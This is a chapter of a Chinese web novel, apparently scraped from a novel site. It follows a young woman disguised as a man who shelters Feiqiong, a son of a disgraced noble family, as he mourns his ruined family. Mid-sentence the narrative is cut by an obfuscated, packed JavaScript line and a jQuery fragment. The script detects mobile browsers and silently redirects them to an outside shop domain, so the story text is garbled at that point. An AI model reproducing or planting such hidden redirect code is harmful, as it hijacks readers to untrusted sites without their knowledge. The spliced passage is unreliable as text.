文趣网 > 其他小说 > 替世家公子赎身后 > 10. 下跪
    去年年底,顾卿禾在城东购置了一套宅院,离官署很近。

    宅子不过两进院落,方方正正的,前厅后寝,一应俱全。目光所及之处皆布置得精巧雅致,还带着一个巴掌大的小花园,花枝葳蕤,生机盎然,石子路的两边生长着茂密婆娑的芭蕉叶。

    顾卿禾在院子里安排了几个得力的仆从。张媪是小院里的管事,年过半百,凡事讲究亲力亲为,照料顾卿禾很久。顾卿禾不想她在孟府里这么辛苦,就让她负责小院的琐事。

    她带飞琼穿过回廊,一边介绍园中景致。正好遇上迎面而来的张媪。

    张媪慈眉善目,朝顾卿禾微微行礼,“二公子。”

    顾卿禾偶尔会带朋友回来,小院里的人一见到扮作郎君的顾卿禾,便会以公子称呼。

    她转眼看向顾卿禾身边的少年,“这位是?”

    “这是我新认识的朋友,飞琼。这位是一直照顾我的张媪,以后你有什么事,直接和她说。”

    飞琼颔首应下。

    简单介绍后,顾卿禾领着他通过正厅进入后院。

    院子里有一棵巨大的榆钱树,树干有柱子那么粗。用榆钱叶做的点心清香美味,顾卿禾很喜欢吃,当初买下这座院子,大概也有这棵老榆钱树的原因。

    小院一南一北各有一间寝屋,顾卿禾已经住了南边那间,便把朝北的那间屋子给飞琼。门口有花圃,三月初春,柔嫩的新叶已经破土而出。

    “飞琼,你喜欢种花吗?”顾卿禾问。

    “······还好。”

    “你要是喜欢种花,直接在这片花圃里种便是。我之前养了一些牡丹芍药什么的,可惜都死光了。”

    “牡丹怕热喜干,在交趾会水土不服。”飞琼说。

    “原来如此。”

    飞琼问,“何公子喜欢牡丹?”

    “洛阳牡丹闻名天下,更何况,那是故乡的花······”

    她走到两座房屋之间,掀起中间的草席,底下有一圈矮矮的竹篱笆,几只雪白的小兔受到惊吓,在里面跳来跳去。

    “怕你无聊,我在集市上买了几只兔子。啊,忘记问你喜不喜欢了······”。

    他蹲下来伸手去摸,一只小兔楞楞地站起顶了下他的手掌,毛茸茸的,“······很可爱。”

    顾卿禾笑起来,“很好养,平时喂点菜叶就行。”

    “多谢。”他很礼貌地回应,手指抓紧包袱的带子,站得笔直,看起来仍然有些局促。

    顾卿禾想,正是因为他对一切都谨小慎微,才能在含春馆恶劣的环境里保全自己,她会给他更多时间在这里适应。

    “你不用和我见外,这段时间我有点忙,不常过来,你当自己家住就好。”

    “······多谢公子。”飞琼回答,心中酸涩。

    他曾经是有家的,庭院中也栽着一棵大树。只是与这里不同。

    庭中种槐树,本是希望子孙后代能够建功立业,位列公卿的美好期许,只可惜已经在一年前的党争之乱中彻底湮灭。

    从此以后流离失所、再无依靠,甚至连“岑长宴”这三个字都被掩埋,成为难以言说的秘密。

    洗漱后,飞琼躺在床上,空气中残留着面条的香气。这是顾卿禾怕他饿着,特意让厨房给他做了碗夜宵。

    树叶簌簌作响,远处有虫鸣和车马经过的声音,一点光亮如流水般温柔的淌过窗棂的缝隙。

    陌生的房间,陌生的床,一切的一切都是那么陌生,但是他竟感到些许安心。他再也不需要整日提心吊胆,害怕被下药、被袭击、被伤害。

    他终于有了容身之所,尽管这是暂时的。

    飞琼闭上眼睛,眼前浮现起父母亲和蔼的脸,还有外祖父的面容,眼泪很快沁了出来。他往被褥里缩了缩,轻声抽泣着,胸口却暖得发胀。

    他翻了个身,精神逐渐松懈下来。

    在不绝于耳的虫鸣声中,飞琼做了这段时间以来唯一一个好梦。

    第二天一早,顾卿禾去厨房里找东西吃。

    这几日父亲公务清闲,每天都回孟府吃饭,因此她也要回孟府住了。

    张媪也在,她小心翼翼看了看门口的位置,低声道,“那个飞琼究竟是何人?我看他气质非凡,不像是寻常人家的公子,为何会在女郎的院子里住下?”

    “你看出来啦。他······”

    顾卿禾琢磨着怎么解释他的身份。

    张媪对顾卿禾很好,她不想对她说谎,又不想张媪因为飞琼的过往看轻他,顿时有些苦恼。

    “······他是我的昔日好友。”顾卿禾暗暗美化了一下飞琼的身份,“家族落魄之后,就来交趾投奔我。你可别问他以前的事啊。”

    “老奴不敢多事,只是女郎贸然和一个男子住在一起,是否不妥?”

    “没什么不妥的,阿媪。”顾卿禾笑笑,“飞琼以为我是男子呢。”

    “终究是女郎吃亏些······若是传到旁人耳朵里,只怕对女郎的清白有损。”她神色忧虑。

    张媪是她的人,为她担忧是也情理之中的事,顾卿禾理解她的想法。她拍了拍张媪的手安抚,“清者自清,旁人的话又什么好在意的。他们要是敢胡说八道,我就半夜潜到他们房间里,偷偷割了他们的舌头。”

    张媪被她逗的一笑。

    顾卿禾又说,“我明白阿媪是为我好,却不想您总是为我的小事忧心。如果清白只存在别人的口舌之中,那我张张嘴,岂不是全天下的清白都没有了?”

    张媪轻拍了下她的手背,“你又胡诹。”

    “况且”,她挽住张媪的手臂,“阿媪这么厉害,在您的管治之下,别说消息了,一只苍蝇都不能从小院子里飞出去。有什么可担心的呢?”

    “······女郎如此能说会道,也不知道以后会青睐什么样的郎君。”张媪松了口气,眉头舒展,总算不再忧愁。

    吃完早饭,顾卿禾出门了,张媪将一个老者带到飞琼面前,“二公子说,您的身子不适,让老奴找个大夫给您看看。这位是济世堂的李大夫,医术高超,各种疑难杂症都有涉猎。”

    飞琼面露讪然,“不、不用了。这也太麻烦了。”

    张媪弓下腰,“还请您不要为难老奴。”

    飞琼拗不过,只得作罢。

    大夫给他把了脉,又盯着他的面色看了会儿,说他缺眠少觉,思虑太重,“思虑伤脾,久则及血。年轻人有什么想不开的?平时多走动走动,找点开心的事做嘛。”

    飞琼懵懵地应下。

    张媪却看得出来,飞琼外面温和,内在倔强,他根本没有把大夫的话放在心上。

    离开含春馆后,飞琼一直想起从前的事,梦里都不能摆脱。

    巫蛊之案牵连者甚广,作为太傅却没有教育规谏好太子,当属失教之责,一干人等都被牵连下狱。

    曾祖父岑和惠为官倨傲,性格迂腐刚直,言语间得罪过很多人。出事之后,朝中鲜有人替他说话。

    这种时候,总是落井下石的人多,雪中送炭人少。

    那年冬天,洛阳下了百年来最大的一场雪。岑长宴跪在昔日同窗的府门前求情,膝盖搁在冰冷的青石阶上。后来一入冬膝盖就疼,大概也是那个时候落下的毛病。

    有行人经过对着他指指点点,他也全当没看到。

    母亲说,男儿膝下有黄金,人是不能随便下跪的。但是真到了紧要关头,跪也就跪了。再多的尊严也买不来外祖父的命,换不回家族的前途。

    他也求过曾经关系不错的世伯。他们大多掩鼻而过,太子的案子太大了,岑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788017|210240||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    长宴没办法责怪。偶尔有几个松口,也都是索要钱财的。

    家里空空荡荡,能拿的东西都拿去打点了。

    很快,下狱、审讯、抄家接踵而至。相关人等即刻处死,其余男的流放边疆,女的没为官婢。消息传来的当晚,父亲自杀了,第二天,母亲也随他去了。

    母亲是名门闺秀,父亲是肩不能提手不能扛的文人,都有宁折不弯的风骨,若真是沦落到为奴为婢的地步,当真是生不如死。

    偌大的家族四壁萧然,顷刻间只剩下他一人。

    在太学读书的时候,他久居榜首,被老师赞誉为百年难得的奇才,凡是他写的字,他作的画都在学子中广泛流传。

    可是再优秀的学生,遇上了这么大的祸事,也会束手无策。曾经背的书、写的字、画的画,已然没有用武之地。

    有时候,他甚至会怀疑自己这些年的努力。如果他不是在学宫里埋头苦读,而是选择早早在战场上建功立业,是不是就不会是这样的结局······

    *

    接下来几天,顾卿禾果然如她所说一直没有来。

    她在他身边安排了一个小厮,名叫阿粟。

    本来还在苦恼之后怎么和顾卿禾请辞,现在好了,别说说话了,连面都见不上。

    飞琼也一连好几天呆在院子里没有出门。

    一个是身体不适,交趾天气闷热,走几步就容易头晕眼花;还有一个原因是他的身份太过敏感。

    岑长宴是流放日南郡的罪犯,一旦被人发现他出现在朱鸢县,自己遭殃也就罢了,还会牵连收留了他的何故。

    何故迄今为止还是一个无辜的好人。若不是被逼无奈,他绝不会将无辜之人卷入其中,虽然他自己也是被人无辜抓到这的。

    可是说出去又有谁会相信呢?

    把流放边陲的罪犯抓到小倌馆里卖掉,此事听起来也太过荒谬,倒更像是他自己为了逃避罪责,结果误信了他人才流落青楼的借口。

    因此绝不能被任何人知道他的真实身份。

    “何公子今天来吗?”飞琼问。

    张媪正坐在院子里编花环,闻言一愣,“何公子?······喔,二公子啊。没传来消息。公子放心住吧,二公子叮嘱过我们,会好好照顾公子的。”

    “······您叫他二公子?”

    “是啊,我们府里共有两位公子。大公子端方持重,二公子机灵聪颖。公子有事找二公子么?”张媪问,“老奴可以派小厮传话。”

    “哦。不,不用了······”

    看出飞琼眼里的忧愁,张媪宽慰道,“公子既然来了,就安心在二公子的院里住下。二公子有一颗赤子之心,亲和友善,体恤下人,公子不必担心。”

    “我、我知道何公子是个好人······我只是一直想到以前的事。”他坐下来,看着张媪用各种颜色的小花编织花环,“想到父亲、母亲、以前的家······心中不免难受。”

    “过去的总要过去,何必自苦?你的家人也会希望你幸福快乐的。如今这个世道,饿死、病死的人不计其数。还有什么比眼下的一顿饭、一片瓦更重要呢?”

    她把手中的花环递给他,“我本来想做个花环送给二公子,现在看还是公子更加需要。心情不好的时候,就看看花开,闻闻花香,日子总会一点一点好起来的。这话是从前二公子和我说的,现在我把这句话给公子。”

    他捏着花环,小心翼翼的凑近,能闻到清新的、愉悦的气味,很淡很淡,就像何故这个人给他的感觉一样。

    书上说,往者不可谏,来者犹可追。过去种种已经不可挽回,最重要的是,珍惜当下。

    或许,他不应该一直沉溺在哀痛之中,一年过去,是时候该往前看。

    是他庸人自扰了。